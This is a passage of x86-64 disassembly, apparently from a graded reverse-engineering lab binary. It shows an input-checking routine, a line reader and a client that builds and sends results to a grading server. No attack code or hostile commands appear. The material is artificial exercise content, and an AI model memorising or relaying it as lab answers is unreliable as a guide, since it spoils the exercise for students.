%es:(%rdi),%al\n 401548:\t48 f7 d1 \tnot %rcx\n 40154b:\t48 83 e9 01 \tsub $0x1,%rcx\n 40154f:\t83 f9 4e \tcmp $0x4e,%ecx\n 401552:\t7e 46 \tjle 40159a \n 401554:\tbf fe 25 40 00 \tmov $0x4025fe,%edi\n 401559:\te8 b2 f5 ff ff \tcallq 400b10 \n 40155e:\t8b 05 fc 21 20 00 \tmov 0x2021fc(%rip),%eax # 603760 \n 401564:\t8d 50 01 \tlea 0x1(%rax),%edx\n 401567:\t89 15 f3 21 20 00 \tmov %edx,0x2021f3(%rip) # 603760 \n 40156d:\t48 98 \tcltq \n 40156f:\t48 6b c0 50 \timul $0x50,%rax,%rax\n 401573:\t48 bf 2a 2a 2a 74 72 \tmovabs $0x636e7572742a2a2a,%rdi\n 40157a:\t75 6e 63 \n 40157d:\t48 89 b8 80 37 60 00 \tmov %rdi,0x603780(%rax)\n 401584:\t48 bf 61 74 65 64 2a \tmovabs $0x2a2a2a64657461,%rdi\n 40158b:\t2a 2a 00 \n 40158e:\t48 89 b8 88 37 60 00 \tmov %rdi,0x603788(%rax)\n 401595:\te8 a0 fe ff ff \tcallq 40143a \n 40159a:\t83 e9 01 \tsub $0x1,%ecx\n 40159d:\t48 63 c9 \tmovslq %ecx,%rcx\n 4015a0:\t48 63 c2 \tmovslq %edx,%rax\n 4015a3:\t48 8d 04 80 \tlea (%rax,%rax,4),%rax\n 4015a7:\t48 c1 e0 04 \tshl $0x4,%rax\n 4015ab:\tc6 84 01 80 37 60 00 \tmovb $0x0,0x603780(%rcx,%rax,1)\n 4015b2:\t00 \n 4015b3:\t83 c2 01 \tadd $0x1,%edx\n 4015b6:\t89 15 a4 21 20 00 \tmov %edx,0x2021a4(%rip) # 603760 \n 4015bc:\t48 89 f0 \tmov %rsi,%rax\n 4015bf:\t48 83 c4 08 \tadd $0x8,%rsp\n 4015c3:\tc3 \tretq \n\n00000000004015c4 :\n 4015c4:\t48 83 ec 78 \tsub $0x78,%rsp\n 4015c8:\t64 48 8b 04 25 28 00 \tmov %fs:0x28,%rax\n 4015cf:\t00 00 \n 4015d1:\t48 89 44 24 68 \tmov %rax,0x68(%rsp)\n 4015d6:\t31 c0 \txor %eax,%eax\n 4015d8:\t83 3d 81 21 20 00 06 \tcmpl $0x6,0x202181(%rip) # 603760 \n 4015df:\t75 5e \tjne 40163f \n 4015e1:\t4c 8d 44 24 10 \tlea 0x10(%rsp),%r8\n 4015e6:\t48 8d 4c 24 0c \tlea 0xc(%rsp),%rcx\n 4015eb:\t48 8d 54 24 08 \tlea 0x8(%rsp),%rdx\n 4015f0:\tbe 19 26 40 00 \tmov $0x402619,%esi\n 4015f5:\tbf 70 38 60 00 \tmov $0x603870,%edi\n 4015fa:\te8 f1 f5 ff ff \tcallq 400bf0 <__isoc99_sscanf@plt>\n 4015ff:\t83 f8 03 \tcmp $0x3,%eax\n 401602:\t75 31 \tjne 401635 \n 401604:\tbe 22 26 40 00 \tmov $0x402622,%esi\n 401609:\t48 8d 7c 24 10 \tlea 0x10(%rsp),%rdi\n 40160e:\te8 25 fd ff ff \tcallq 401338 \n 401613:\t85 c0 \ttest %eax,%eax\n 401615:\t75 1e \tjne 401635 \n 401617:\tbf f8 24 40 00 \tmov $0x4024f8,%edi\n 40161c:\te8 ef f4 ff ff \tcallq 400b10 \n 401621:\tbf 20 25 40 00 \tmov $0x402520,%edi\n 401626:\te8 e5 f4 ff ff \tcallq 400b10 \n 40162b:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401630:\te8 0d fc ff ff \tcallq 401242 \n 401635:\tbf 58 25 40 00 \tmov $0x402558,%edi\n 40163a:\te8 d1 f4 ff ff \tcallq 400b10 \n 40163f:\t48 8b 44 24 68 \tmov 0x68(%rsp),%rax\n 401644:\t64 48 33 04 25 28 00 \txor %fs:0x28,%rax\n 40164b:\t00 00 \n 40164d:\t74 05 \tje 401654 \n 40164f:\te8 dc f4 ff ff \tcallq 400b30 <__stack_chk_fail@plt>\n 401654:\t48 83 c4 78 \tadd $0x78,%rsp\n 401658:\tc3 \tretq \n 401659:\t90 \tnop\n 40165a:\t90 \tnop\n 40165b:\t90 \tnop\n 40165c:\t90 \tnop\n 40165d:\t90 \tnop\n 40165e:\t90 \tnop\n 40165f:\t90 \tnop\n\n0000000000401660 :\n 401660:\t48 83 ec 08 \tsub $0x8,%rsp\n 401664:\tb9 00 00 00 00 \tmov $0x0,%ecx\n 401669:\tba 78 26 40 00 \tmov $0x402678,%edx\n 40166e:\tbe 01 00 00 00 \tmov $0x1,%esi\n 401673:\t48 8b 3d d6 20 20 00 \tmov 0x2020d6(%rip),%rdi # 603750 \n 40167a:\tb8 00 00 00 00 \tmov $0x0,%eax\n 40167f:\te8 bc f5 ff ff \tcallq 400c40 <__fprintf_chk@plt>\n 401684:\tbf 01 00 00 00 \tmov $0x1,%edi\n 401689:\te8 92 f5 ff ff \tcallq 400c20 \n\n000000000040168e :\n 40168e:\t41 57 \tpush %r15\n 401690:\t41 56 \tpush %r14\n 401692:\t41 55 \tpush %r13\n 401694:\t41 54 \tpush %r12\n 401696:\t55 \tpush %rbp\n 401697:\t53 \tpush %rbx\n 401698:\t48 83 ec 38 \tsub $0x38,%rsp\n 40169c:\t49 89 f6 \tmov %rsi,%r14\n 40169f:\t48 89 54 24 18 \tmov %rdx,0x18(%rsp)\n 4016a4:\t48 83 fa 01 \tcmp $0x1,%rdx\n 4016a8:\t0f 86 c9 00 00 00 \tjbe 401777 \n 4016ae:\t48 89 fb \tmov %rdi,%rbx\n 4016b1:\t41 bd 01 00 00 00 \tmov $0x1,%r13d\n 4016b7:\t4c 8d 67 10 \tlea 0x10(%rdi),%r12\n 4016bb:\teb 30 \tjmp 4016ed \n 4016bd:\tba 00 20 00 00 \tmov $0x2000,%edx\n 4016c2:\t4c 89 e6 \tmov %r12,%rsi\n 4016c5:\t8b 3b \tmov (%rbx),%edi\n 4016c7:\te8 94 f4 ff ff \tcallq 400b60 \n 4016cc:\t89 43 04 \tmov %eax,0x4(%rbx)\n 4016cf:\t85 c0 \ttest %eax,%eax\n 4016d1:\t79 12 \tjns 4016e5 \n 4016d3:\te8 18 f4 ff ff \tcallq 400af0 <__errno_location@plt>\n 4016d8:\t83 38 04 \tcmpl $0x4,(%rax)\n 4016db:\t74 10 \tje 4016ed \n 4016dd:\t0f 1f 00 \tnopl (%rax)\n 4016e0:\te9 a1 00 00 00 \tjmpq 401786 \n 4016e5:\t85 c0 \ttest %eax,%eax\n 4016e7:\t74 71 \tje 40175a \n 4016e9:\t4c 89 63 08 \tmov %r12,0x8(%rbx)\n 4016ed:\t8b 6b 04 \tmov 0x4(%rbx),%ebp\n 4016f0:\t85 ed \ttest %ebp,%ebp\n 4016f2:\t7e c9 \tjle 4016bd \n 4016f4:\t85 ed \ttest %ebp,%ebp\n 4016f6:\t41 0f 95 c7 \tsetne %r15b\n 4016fa:\t41 0f b6 c7 \tmovzbl %r15b,%eax\n 4016fe:\t89 44 24 0c \tmov %eax,0xc(%rsp)\n 401702:\t45 0f b6 ff \tmovzbl %r15b,%r15d\n 401706:\t48 8b 4b 08 \tmov 0x8(%rbx),%rcx\n 40170a:\t48 89 ce \tmov %rcx,%rsi\n 40170d:\tb9 01 00 00 00 \tmov $0x1,%ecx\n 401712:\t4c 89 fa \tmov %r15,%rdx\n 401715:\t48 89 74 24 10 \tmov %rsi,0x10(%rsp)\n 40171a:\t48 8d 7c 24 2f \tlea 0x2f(%rsp),%rdi\n 40171f:\te8 9c f4 ff ff \tcallq 400bc0 <__memcpy_chk@plt>\n 401724:\t4c 03 7c 24 10 \tadd 0x10(%rsp),%r15\n 401729:\t4c 89 7b 08 \tmov %r15,0x8(%rbx)\n 40172d:\t8b 44 24 0c \tmov 0xc(%rsp),%eax\n 401731:\t29 c5 \tsub %eax,%ebp\n 401733:\t89 6b 04 \tmov %ebp,0x4(%rbx)\n 401736:\t83 f8 01 \tcmp $0x1,%eax\n 401739:\t75 13 \tjne 40174e \n 40173b:\t49 83 c6 01 \tadd $0x1,%r14\n 40173f:\t0f b6 44 24 2f \tmovzbl 0x2f(%rsp),%eax\n 401744:\t41 88 46 ff \tmov %al,-0x1(%r14)\n 401748:\t3c 0a \tcmp $0xa,%al\n 40174a:\t75 18 \tjne 401764 \n 40174c:\teb 2f \tjmp 40177d \n 40174e:\t83 7c 24 0c 00 \tcmpl $0x0,0xc(%rsp)\n 401753:\t75 3a \tjne 40178f \n 401755:\t44 89 e8 \tmov %r13d,%eax\n 401758:\teb 03 \tjmp 40175d \n 40175a:\t44 89 e8 \tmov %r13d,%eax\n 40175d:\t83 f8 01 \tcmp $0x1,%eax\n 401760:\t75 1b \tjne 40177d \n 401762:\teb 34 \tjmp 401798 \n 401764:\t41 83 c5 01 \tadd $0x1,%r13d\n 401768:\t49 63 c5 \tmovslq %r13d,%rax\n 40176b:\t48 3b 44 24 18 \tcmp 0x18(%rsp),%rax\n 401770:\t73 0b \tjae 40177d \n 401772:\te9 76 ff ff ff \tjmpq 4016ed \n 401777:\t41 bd 01 00 00 00 \tmov $0x1,%r13d\n 40177d:\t41 c6 06 00 \tmovb $0x0,(%r14)\n 401781:\t49 63 c5 \tmovslq %r13d,%rax\n 401784:\teb 17 \tjmp 40179d \n 401786:\t48 c7 c0 ff ff ff ff \tmov $0xffffffffffffffff,%rax\n 40178d:\teb 0e \tjmp 40179d \n 40178f:\t48 c7 c0 ff ff ff ff \tmov $0xffffffffffffffff,%rax\n 401796:\teb 05 \tjmp 40179d \n 401798:\tb8 00 00 00 00 \tmov $0x0,%eax\n 40179d:\t48 83 c4 38 \tadd $0x38,%rsp\n 4017a1:\t5b \tpop %rbx\n 4017a2:\t5d \tpop %rbp\n 4017a3:\t41 5c \tpop %r12\n 4017a5:\t41 5d \tpop %r13\n 4017a7:\t41 5e \tpop %r14\n 4017a9:\t41 5f \tpop %r15\n 4017ab:\tc3 \tretq \n\n00000000004017ac :\n 4017ac:\t41 57 \tpush %r15\n 4017ae:\t41 56 \tpush %r14\n 4017b0:\t41 55 \tpush %r13\n 4017b2:\t41 54 \tpush %r12\n 4017b4:\t55 \tpush %rbp\n 4017b5:\t53 \tpush %rbx\n 4017b6:\t48 81 ec 68 a0 00 00 \tsub $0xa068,%rsp\n 4017bd:\t48 89 fd \tmov %rdi,%rbp\n 4017c0:\t41 89 f5 \tmov %esi,%r13d\n 4017c3:\t48 89 54 24 10 \tmov %rdx,0x10(%rsp)\n 4017c8:\t48 89 4c 24 18 \tmov %rcx,0x18(%rsp)\n 4017cd:\t4d 89 c7 \tmov %r8,%r15\n 4017d0:\t4c 89 cb \tmov %r9,%rbx\n 4017d3:\t4c 8b b4 24 a0 a0 00 \tmov 0xa0a0(%rsp),%r14\n 4017da:\t00 \n 4017db:\t64 48 8b 04 25 28 00 \tmov %fs:0x28,%rax\n 4017e2:\t00 00 \n 4017e4:\t48 89 84 24 58 a0 00 \tmov %rax,0xa058(%rsp)\n 4017eb:\t00 \n 4017ec:\t31 c0 \txor %eax,%eax\n 4017ee:\tc7 44 24 2c 00 00 00 \tmovl $0x0,0x2c(%rsp)\n 4017f5:\t00 \n 4017f6:\tba 00 00 00 00 \tmov $0x0,%edx\n 4017fb:\tbe 01 00 00 00 \tmov $0x1,%esi\n 401800:\tbf 02 00 00 00 \tmov $0x2,%edi\n 401805:\te8 76 f4 ff ff \tcallq 400c80 \n 40180a:\t41 89 c4 \tmov %eax,%r12d\n 40180d:\t85 c0 \ttest %eax,%eax\n 40180f:\t79 50 \tjns 401861 \n 401811:\t48 b8 45 72 72 6f 72 \tmovabs $0x43203a726f727245,%rax\n 401818:\t3a 20 43 \n 40181b:\t49 89 06 \tmov %rax,(%r14)\n 40181e:\t48 b8 6c 69 65 6e 74 \tmovabs $0x6e7520746e65696c,%rax\n 401825:\t20 75 6e \n 401828:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 40182c:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 401833:\t74 6f 20 \n 401836:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 40183a:\t48 b8 63 72 65 61 74 \tmovabs $0x7320657461657263,%rax\n 401841:\t65 20 73 \n 401844:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401848:\t41 c7 46 20 6f 63 6b \tmovl $0x656b636f,0x20(%r14)\n 40184f:\t65 \n 401850:\t66 41 c7 46 24 74 00 \tmovw $0x74,0x24(%r14)\n 401857:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 40185c:\te9 07 06 00 00 \tjmpq 401e68 \n 401861:\t48 89 ef \tmov %rbp,%rdi\n 401864:\te8 37 f3 ff ff \tcallq 400ba0 \n 401869:\t48 85 c0 \ttest %rax,%rax\n 40186c:\t75 6b \tjne 4018d9 \n 40186e:\t48 b8 45 72 72 6f 72 \tmovabs $0x44203a726f727245,%rax\n 401875:\t3a 20 44 \n 401878:\t49 89 06 \tmov %rax,(%r14)\n 40187b:\t48 b8 4e 53 20 69 73 \tmovabs $0x6e7520736920534e,%rax\n 401882:\t20 75 6e \n 401885:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 401889:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 401890:\t74 6f 20 \n 401893:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401897:\t48 b8 72 65 73 6f 6c \tmovabs $0x2065766c6f736572,%rax\n 40189e:\t76 65 20 \n 4018a1:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 4018a5:\t48 b8 73 65 72 76 65 \tmovabs $0x6120726576726573,%rax\n 4018ac:\t72 20 61 \n 4018af:\t49 89 46 20 \tmov %rax,0x20(%r14)\n 4018b3:\t41 c7 46 28 64 64 72 \tmovl $0x65726464,0x28(%r14)\n 4018ba:\t65 \n 4018bb:\t66 41 c7 46 2c 73 73 \tmovw $0x7373,0x2c(%r14)\n 4018c2:\t41 c6 46 2e 00 \tmovb $0x0,0x2e(%r14)\n 4018c7:\t44 89 e7 \tmov %r12d,%edi\n 4018ca:\te8 81 f2 ff ff \tcallq 400b50 \n 4018cf:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 4018d4:\te9 8f 05 00 00 \tjmpq 401e68 \n 4018d9:\t48 c7 44 24 30 00 00 \tmovq $0x0,0x30(%rsp)\n 4018e0:\t00 00 \n 4018e2:\t48 c7 44 24 38 00 00 \tmovq $0x0,0x38(%rsp)\n 4018e9:\t00 00 \n 4018eb:\t66 c7 44 24 30 02 00 \tmovw $0x2,0x30(%rsp)\n 4018f2:\t48 63 50 14 \tmovslq 0x14(%rax),%rdx\n 4018f6:\t48 8b 40 18 \tmov 0x18(%rax),%rax\n 4018fa:\t48 8d 7c 24 34 \tlea 0x34(%rsp),%rdi\n 4018ff:\tb9 0c 00 00 00 \tmov $0xc,%ecx\n 401904:\t48 8b 30 \tmov (%rax),%rsi\n 401907:\te8 a4 f2 ff ff \tcallq 400bb0 <__memmove_chk@plt>\n 40190c:\t66 41 c1 cd 08 \tror $0x8,%r13w\n 401911:\t66 44 89 6c 24 32 \tmov %r13w,0x32(%rsp)\n 401917:\tba 10 00 00 00 \tmov $0x10,%edx\n 40191c:\t48 8d 74 24 30 \tlea 0x30(%rsp),%rsi\n 401921:\t44 89 e7 \tmov %r12d,%edi\n 401924:\te8 07 f3 ff ff \tcallq 400c30 \n 401929:\t85 c0 \ttest %eax,%eax\n 40192b:\t79 5d \tjns 40198a \n 40192d:\t48 b8 45 72 72 6f 72 \tmovabs $0x55203a726f727245,%rax\n 401934:\t3a 20 55 \n 401937:\t49 89 06 \tmov %rax,(%r14)\n 40193a:\t48 b8 6e 61 62 6c 65 \tmovabs $0x6f7420656c62616e,%rax\n 401941:\t20 74 6f \n 401944:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 401948:\t48 b8 20 63 6f 6e 6e \tmovabs $0x7463656e6e6f6320,%rax\n 40194f:\t65 63 74 \n 401952:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401956:\t48 b8 20 74 6f 20 74 \tmovabs $0x20656874206f7420,%rax\n 40195d:\t68 65 20 \n 401960:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401964:\t41 c7 46 20 73 65 72 \tmovl $0x76726573,0x20(%r14)\n 40196b:\t76 \n 40196c:\t66 41 c7 46 24 65 72 \tmovw $0x7265,0x24(%r14)\n 401973:\t41 c6 46 26 00 \tmovb $0x0,0x26(%r14)\n 401978:\t44 89 e7 \tmov %r12d,%edi\n 40197b:\te8 d0 f1 ff ff \tcallq 400b50 \n 401980:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401985:\te9 de 04 00 00 \tjmpq 401e68 \n 40198a:\t48 c7 c2 ff ff ff ff \tmov $0xffffffffffffffff,%rdx\n 401991:\t48 89 df \tmov %rbx,%rdi\n 401994:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401999:\t48 89 d1 \tmov %rdx,%rcx\n 40199c:\tf2 ae \trepnz scas %es:(%rdi),%al\n 40199e:\t48 f7 d1 \tnot %rcx\n 4019a1:\t48 89 ce \tmov %rcx,%rsi\n 4019a4:\t48 8b 7c 24 10 \tmov 0x10(%rsp),%rdi\n 4019a9:\t48 89 d1 \tmov %rdx,%rcx\n 4019ac:\tf2 ae \trepnz scas %es:(%rdi),%al\n 4019ae:\t49 89 c8 \tmov %rcx,%r8\n 4019b1:\t48 8b 7c 24 18 \tmov 0x18(%rsp),%rdi\n 4019b6:\t48 89 d1 \tmov %rdx,%rcx\n 4019b9:\tf2 ae \trepnz scas %es:(%rdi),%al\n 4019bb:\t48 f7 d1 \tnot %rcx\n 4019be:\t49 89 c9 \tmov %rcx,%r9\n 4019c1:\t4c 89 ff \tmov %r15,%rdi\n 4019c4:\t48 89 d1 \tmov %rdx,%rcx\n 4019c7:\tf2 ae \trepnz scas %es:(%rdi),%al\n 4019c9:\t4d 29 c1 \tsub %r8,%r9\n 4019cc:\t49 29 c9 \tsub %rcx,%r9\n 4019cf:\t48 8d 44 76 fd \tlea -0x3(%rsi,%rsi,2),%rax\n 4019d4:\t49 8d 44 01 7b \tlea 0x7b(%r9,%rax,1),%rax\n 4019d9:\t48 3d 00 20 00 00 \tcmp $0x2000,%rax\n 4019df:\t76 73 \tjbe 401a54 \n 4019e1:\t48 b8 45 72 72 6f 72 \tmovabs $0x52203a726f727245,%rax\n 4019e8:\t3a 20 52 \n 4019eb:\t49 89 06 \tmov %rax,(%r14)\n 4019ee:\t48 b8 65 73 75 6c 74 \tmovabs $0x747320746c757365,%rax\n 4019f5:\t20 73 74 \n 4019f8:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 4019fc:\t48 b8 72 69 6e 67 20 \tmovabs $0x6f6f7420676e6972,%rax\n 401a03:\t74 6f 6f \n 401a06:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401a0a:\t48 b8 20 6c 61 72 67 \tmovabs $0x202e656772616c20,%rax\n 401a11:\t65 2e 20 \n 401a14:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401a18:\t48 b8 49 6e 63 72 65 \tmovabs $0x6573616572636e49,%rax\n 401a1f:\t61 73 65 \n 401a22:\t49 89 46 20 \tmov %rax,0x20(%r14)\n 401a26:\t48 b8 20 53 55 42 4d \tmovabs $0x5254494d42555320,%rax\n 401a2d:\t49 54 52 \n 401a30:\t49 89 46 28 \tmov %rax,0x28(%r14)\n 401a34:\t48 b8 5f 4d 41 58 42 \tmovabs $0x46554258414d5f,%rax\n 401a3b:\t55 46 00 \n 401a3e:\t49 89 46 30 \tmov %rax,0x30(%r14)\n 401a42:\t44 89 e7 \tmov %r12d,%edi\n 401a45:\te8 06 f1 ff ff \tcallq 400b50 \n 401a4a:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401a4f:\te9 14 04 00 00 \tjmpq 401e68 \n 401a54:\t48 8d 94 24 40 20 00 \tlea 0x2040(%rsp),%rdx\n 401a5b:\t00 \n 401a5c:\tb9 00 04 00 00 \tmov $0x400,%ecx\n 401a61:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401a66:\t48 89 d7 \tmov %rdx,%rdi\n 401a69:\tf3 48 ab \trep stos %rax,%es:(%rdi)\n 401a6c:\t48 89 df \tmov %rbx,%rdi\n 401a6f:\t48 c7 c1 ff ff ff ff \tmov $0xffffffffffffffff,%rcx\n 401a76:\tf2 ae \trepnz scas %es:(%rdi),%al\n 401a78:\t48 f7 d1 \tnot %rcx\n 401a7b:\t48 83 e9 01 \tsub $0x1,%rcx\n 401a7f:\t85 c9 \ttest %ecx,%ecx\n 401a81:\t0f 84 fd 03 00 00 \tje 401e84 \n 401a87:\t83 e9 01 \tsub $0x1,%ecx\n 401a8a:\t4c 8d 6c 0b 01 \tlea 0x1(%rbx,%rcx,1),%r13\n 401a8f:\t48 89 d5 \tmov %rdx,%rbp\n 401a92:\t44 0f b6 03 \tmovzbl (%rbx),%r8d\n 401a96:\t41 80 f8 2a \tcmp $0x2a,%r8b\n 401a9a:\t74 23 \tje 401abf \n 401a9c:\t41 8d 40 d3 \tlea -0x2d(%r8),%eax\n 401aa0:\t3c 01 \tcmp $0x1,%al\n 401aa2:\t76 1b \tjbe 401abf \n 401aa4:\t41 80 f8 5f \tcmp $0x5f,%r8b\n 401aa8:\t74 15 \tje 401abf \n 401aaa:\t41 8d 40 d0 \tlea -0x30(%r8),%eax\n 401aae:\t3c 09 \tcmp $0x9,%al\n 401ab0:\t76 0d \tjbe 401abf \n 401ab2:\t44 89 c0 \tmov %r8d,%eax\n 401ab5:\t83 e0 df \tand $0xffffffdf,%eax\n 401ab8:\t83 e8 41 \tsub $0x41,%eax\n 401abb:\t3c 19 \tcmp $0x19,%al\n 401abd:\t77 0a \tja 401ac9 \n 401abf:\t48 8d 45 01 \tlea 0x1(%rbp),%rax\n 401ac3:\t44 88 45 00 \tmov %r8b,0x0(%rbp)\n 401ac7:\teb 6c \tjmp 401b35 \n 401ac9:\t41 80 f8 20 \tcmp $0x20,%r8b\n 401acd:\t75 0a \tjne 401ad9 \n 401acf:\t48 8d 45 01 \tlea 0x1(%rbp),%rax\n 401ad3:\tc6 45 00 2b \tmovb $0x2b,0x0(%rbp)\n 401ad7:\teb 5c \tjmp 401b35 \n 401ad9:\t41 8d 40 e0 \tlea -0x20(%r8),%eax\n 401add:\t3c 5f \tcmp $0x5f,%al\n 401adf:\t76 0a \tjbe 401aeb \n 401ae1:\t41 80 f8 09 \tcmp $0x9,%r8b\n 401ae5:\t0f 85 02 04 00 00 \tjne 401eed \n 401aeb:\t45 0f b6 c0 \tmovzbl %r8b,%r8d\n 401aef:\tb9 48 27 40 00 \tmov $0x402748,%ecx\n 401af4:\tba 08 00 00 00 \tmov $0x8,%edx\n 401af9:\tbe 01 00 00 00 \tmov $0x1,%esi\n 401afe:\t48 8d bc 24 40 80 00 \tlea 0x8040(%rsp),%rdi\n 401b05:\t00 \n 401b06:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401b0b:\te8 60 f1 ff ff \tcallq 400c70 <__sprintf_chk@plt>\n 401b10:\t0f b6 84 24 40 80 00 \tmovzbl 0x8040(%rsp),%eax\n 401b17:\t00 \n 401b18:\t88 45 00 \tmov %al,0x0(%rbp)\n 401b1b:\t0f b6 84 24 41 80 00 \tmovzbl 0x8041(%rsp),%eax\n 401b22:\t00 \n 401b23:\t88 45 01 \tmov %al,0x1(%rbp)\n 401b26:\t48 8d 45 03 \tlea 0x3(%rbp),%rax\n 401b2a:\t0f b6 94 24 42 80 00 \tmovzbl 0x8042(%rsp),%edx\n 401b31:\t00 \n 401b32:\t88 55 02 \tmov %dl,0x2(%rbp)\n 401b35:\t48 83 c3 01 \tadd $0x1,%rbx\n 401b39:\t4c 39 eb \tcmp %r13,%rbx\n 401b3c:\t0f 84 42 03 00 00 \tje 401e84 \n 401b42:\t48 89 c5 \tmov %rax,%rbp\n 401b45:\te9 48 ff ff ff \tjmpq 401a92 \n 401b4a:\t48 89 da \tmov %rbx,%rdx\n 401b4d:\t48 89 ee \tmov %rbp,%rsi\n 401b50:\t44 89 e7 \tmov %r12d,%edi\n 401b53:\te8 c8 ef ff ff \tcallq 400b20 \n 401b58:\t48 85 c0 \ttest %rax,%rax\n 401b5b:\t7f 0f \tjg 401b6c \n 401b5d:\te8 8e ef ff ff \tcallq 400af0 <__errno_location@plt>\n 401b62:\t83 38 04 \tcmpl $0x4,(%rax)\n 401b65:\t75 12 \tjne 401b79 \n 401b67:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401b6c:\t48 01 c5 \tadd %rax,%rbp\n 401b6f:\t48 29 c3 \tsub %rax,%rbx\n 401b72:\t75 d6 \tjne 401b4a \n 401b74:\t4d 85 ed \ttest %r13,%r13\n 401b77:\t79 5f \tjns 401bd8 \n 401b79:\t48 b8 45 72 72 6f 72 \tmovabs $0x43203a726f727245,%rax\n 401b80:\t3a 20 43 \n 401b83:\t49 89 06 \tmov %rax,(%r14)\n 401b86:\t48 b8 6c 69 65 6e 74 \tmovabs $0x6e7520746e65696c,%rax\n 401b8d:\t20 75 6e \n 401b90:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 401b94:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 401b9b:\t74 6f 20 \n 401b9e:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401ba2:\t48 b8 77 72 69 74 65 \tmovabs $0x6f74206574697277,%rax\n 401ba9:\t20 74 6f \n 401bac:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401bb0:\t48 b8 20 74 68 65 20 \tmovabs $0x7265732065687420,%rax\n 401bb7:\t73 65 72 \n 401bba:\t49 89 46 20 \tmov %rax,0x20(%r14)\n 401bbe:\t41 c7 46 28 76 65 72 \tmovl $0x726576,0x28(%r14)\n 401bc5:\t00 \n 401bc6:\t44 89 e7 \tmov %r12d,%edi\n 401bc9:\te8 82 ef ff ff \tcallq 400b50 \n 401bce:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401bd3:\te9 90 02 00 00 \tjmpq 401e68 \n 401bd8:\t44 89 a4 24 40 80 00 \tmov %r12d,0x8040(%rsp)\n 401bdf:\t00 \n 401be0:\tc7 84 24 44 80 00 00 \tmovl $0x0,0x8044(%rsp)\n 401be7:\t00 00 00 00 \n 401beb:\t48 8d 84 24 50 80 00 \tlea 0x8050(%rsp),%rax\n 401bf2:\t00 \n 401bf3:\t48 89 84 24 48 80 00 \tmov %rax,0x8048(%rsp)\n 401bfa:\t00 \n 401bfb:\tba 00 20 00 00 \tmov $0x2000,%edx\n 401c00:\t48 8d 74 24 40 \tlea 0x40(%rsp),%rsi\n 401c05:\t48 8d bc 24 40 80 00 \tlea 0x8040(%rsp),%rdi\n 401c0c:\t00 \n 401c0d:\te8 7c fa ff ff \tcallq 40168e \n 401c12:\t48 85 c0 \ttest %rax,%rax\n 401c15:\t7f 74 \tjg 401c8b \n 401c17:\t48 b8 45 72 72 6f 72 \tmovabs $0x43203a726f727245,%rax\n 401c1e:\t3a 20 43 \n 401c21:\t49 89 06 \tmov %rax,(%r14)\n 401c24:\t48 b8 6c 69 65 6e 74 \tmovabs $0x6e7520746e65696c,%rax\n 401c2b:\t20 75 6e \n 401c2e:\t49 89 46 08 \tmov %rax,0x8(%r14)\n 401c32:\t48 b8 61 62 6c 65 20 \tmovabs $0x206f7420656c6261,%rax\n 401c39:\t74 6f 20 \n 401c3c:\t49 89 46 10 \tmov %rax,0x10(%r14)\n 401c40:\t48 b8 72 65 61 64 20 \tmovabs $0x7269662064616572,%rax\n 401c47:\t66 69 72 \n 401c4a:\t49 89 46 18 \tmov %rax,0x18(%r14)\n 401c4e:\t48 b8 73 74 20 68 65 \tmovabs $0x6564616568207473,%rax\n 401c55:\t61 64 65 \n 401c58:\t49 89 46 20 \tmov %rax,0x20(%r14)\n 401c5c:\t48 b8 72 20 66 72 6f \tmovabs $0x73206d6f72662072,%rax\n 401c63:\t6d 20 73 \n 401c66:\t49 89 46 28 \tmov %rax,0x28(%r14)\n 401c6a:\t41 c7 46 30 65 72 76 \tmovl $0x65767265,0x30(%r14)\n 401c71:\t65 \n 401c72:\t66 41 c7 46 34 72 00 \tmovw $0x72,0x34(%r14)\n 401c79:\t44 89 e7 \tmov %r12d,%edi\n 401c7c:\te8 cf ee ff ff \tcallq 400b50 \n 401c81:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 401c86:\te9 dd 01 00 00 \tjmpq 401e68 \n 401c8b:\t4c 8d 84 24 40 60 00 \tlea 0x6040(%rsp),%r8\n 401c92:\t00 \n 401c93:\t48 8d 4c 24 2c \tlea 0x2c(%rsp),%rcx\n 401c98:\t48 8d 94 24 40 40 00 \tlea 0x4040(%rsp),%rdx\n 401c9f:\t00 \n 401ca0:\tbe 4f 27 40 00 \tmov $0x40274f,%esi\n 401ca5:\t48 8d 7c 24 40 \tlea 0x40(%rsp),%rdi\n 401caa:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401caf:\te8 3c ef ff ff \tcallq 400bf0 <__isoc99_sscanf@plt>\n 401cb4:\t44 8b 44 24 2c \tmov 0x2c(%rsp),%r8d\n 401cb9:\t41 81 f8 c8 00 00 00 \tcmp $0xc8,%r8d\n 401cc0:\t0f 84 be 00 00 00 \tje 401d84 \n 401cc6:\t4c 8d 8c 24 40 60 00 \tlea 0x6040(%rsp),%r9\n 401ccd:\t00 \n 401cce:\tb9 a0 26 40 00 \tmov $0x4026a0,%ecx\n 401cd3:\t48 c7 c2 ff ff ff ff \tmov $0xffffffffffffffff,%rdx\n 401cda:\tbe 01 00 00 00 \tmov $0x1,%esi\n 